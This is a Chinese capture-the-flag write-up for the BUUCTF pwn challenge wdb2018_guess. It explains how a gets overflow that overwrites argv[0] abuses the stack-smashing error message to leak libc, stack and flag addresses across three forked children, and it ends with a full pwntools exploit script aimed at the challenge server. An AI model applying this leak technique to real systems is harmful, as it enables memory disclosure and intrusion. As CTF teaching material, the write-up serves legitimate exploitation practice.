buu刷题记录:wdb2018_guess

静态分析elf文件

checksec一下发现开了NX和canary保护,64位程序,用ida分析看看

很明显的gets栈溢出,并且gets之后没有回显输入的内容,那这样的话意味着不能栈溢出劫持控制流了。那么看看前面,发现有一个把flag文件内容读到栈上面的动作。后面while循环调用了一个sub_400A11函数,v7=3,v6=0,,v7>=v6 break就意味着这个函数会被调用三次。而发现sub_400A11函数是调用fork函数,fork函数会创建和当前进程一模一样的进程,然后范围自身进程的ID,如果是被创建的进程,那么fork将会返回0。

简单点就是fork的子进程会返回0,如果返回0那么break执行下面的内容,父进程因为返回自己进程号不会break则继续循环,然后调用fork,也就是说这个进程一共会产生3个子进程执行while循环之后的内容。

这里有一个特性,那就是在发生栈溢出之后stack_chk_fail。在终止程序之前还会打印argv[0],这一点很合理。但是这里可以用于泄露栈上的flag,我们如果gets覆盖到argv[0],就可以任意地址泄露了,但是因为只有三个子进程,就只能泄露三次,前两次一定要把栈地址泄露出来。但是呢现在栈地址是不知道的,我们可以先通过一次泄露泄露出libc的地址,二次泄露出栈地址,最后一次泄露flag。其实这里还有一点不太理解,就是fork之后栈是共享的嘛?libc是共享的很好理解,栈共享就不是很好理解了,还是说它栈不同,只是对应偏移的地方都有flag,然后我泄露的是别的进程上面的flag,倾向于这种解释。

动态调试确定偏移

现在就需要知道这个buf到底需要多少字节能覆盖argv[0],所以需要动调一波。断点下在fork循环之后,这里我选择了0x400b0d的位置,r。为了确定buf的位置,我们选择gets读入很多个a看看它与argv[0]之间的偏移。

很容易可以从左边看出来,他们之间差了0x128个字节,那么payload就是0x128*b’a’+p64(要泄露内容的地址)。

第一次拿下libc之后第二次应该要拿__environ,这个我也是看writeup知道的,这个好像就是指向argv[0]的地址。也就是栈上的地址,这个是在libc里面的,所以拿到libc之后就可以泄露这个,然后再观察泄露的地址和flag的地址差多少,确定好偏移之后第三次就可以直接泄露flag了,这里测试之后是0x168的偏移,泄露的地址再减去0x168就是我们想要的flag了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.log_level='debug'
context.arch='amd64'
context.os='linux'
libc_version='2.23'
libc_in_local=0

def conn(x,file_name,port=9999):
if str(context.arch)=='amd64':bit=64
else:bit=32
if x:
p=process(file_name)
libc=ELF('./libc/libc-'+libc_version+'-'+str(bit)+'.so')
else:
p=remote('node4.buuoj.cn',port)
if libc_in_local:libc=ELF('./libc.so.6')
else:libc=ELF('./libc/libc-'+libc_version+'-buu'+str(bit)+'.so')
return ELF(file_name),libc,p

def leak_addr(payload):
p.recvline()
p.sendline(payload)
p.recvuntil(b'*** stack smashing detected ***: ')
addr = u64(p.recv(6).ljust(8,b'\x00'))
return addr

elf,libc,p=conn(0,'./GUESS',29108)
payload1 = b'a'*0x128+p64(elf.got['puts'])
libc_addr = leak_addr(payload1)-libc.sym['puts']
success('libc_Addr:'+hex(libc_addr))

payload2 = b'a'*0x128+p64(libc_addr+libc.sym['__environ'])
stack_addr = leak_addr(payload2)-0x168
success('stack_addr:'+hex(stack_addr))

payload3=b'a'*0x128+p64(stack_addr)
p.sendline(payload3)



p.interactive()

成功getflag